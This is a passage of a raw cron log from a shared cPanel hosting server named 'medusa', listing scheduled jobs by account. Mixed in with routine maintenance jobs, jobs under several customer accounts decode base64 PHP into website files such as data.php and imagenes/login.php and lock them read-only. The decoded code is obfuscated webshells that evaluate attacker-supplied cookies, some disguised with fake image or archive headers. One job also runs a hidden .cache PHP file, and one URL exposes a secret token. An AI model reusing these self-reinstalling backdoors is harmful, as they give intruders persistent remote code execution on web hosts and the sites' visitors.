JF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:30:01 medusa CROND[11508]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:30:01 medusa CROND[11509]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 11:30:01 medusa CROND[11511]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:30:01 medusa CROND[11512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:30:01 medusa CROND[11516]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:30:01 medusa CROND[11525]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:30:01 medusa CROND[11531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 11:30:01 medusa CROND[11532]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 11:30:01 medusa CROND[11533]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:30:01 medusa CROND[11540]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 11:30:01 medusa CROND[11542]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 11:30:01 medusa CROND[11543]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 11:30:01 medusa CROND[11544]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:30:01 medusa CROND[11546]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:30:01 medusa CROND[11545]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 11:30:01 medusa CROND[11548]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 11:30:01 medusa CROND[11551]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 11:30:01 medusa CROND[11550]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 11:30:01 medusa CROND[11547]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:30:01 medusa CROND[11603]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 11:30:01 medusa CROND[11600]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 11:31:01 medusa CROND[2345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:31:01 medusa CROND[2407]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:31:01 medusa CROND[2408]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:31:01 medusa CROND[2409]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:31:01 medusa CROND[2410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:31:01 medusa CROND[2411]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:31:01 medusa CROND[2415]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 11:31:01 medusa CROND[2416]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:31:01 medusa CROND[2419]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:31:01 medusa CROND[2420]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:31:01 medusa CROND[2426]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:31:01 medusa CROND[2427]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:31:01 medusa CROND[2433]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 11:32:01 medusa CROND[24525]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 11:32:01 medusa CROND[24602]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:32:01 medusa CROND[24603]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:32:01 medusa CROND[24604]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:32:01 medusa CROND[24605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:32:01 medusa CROND[24606]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
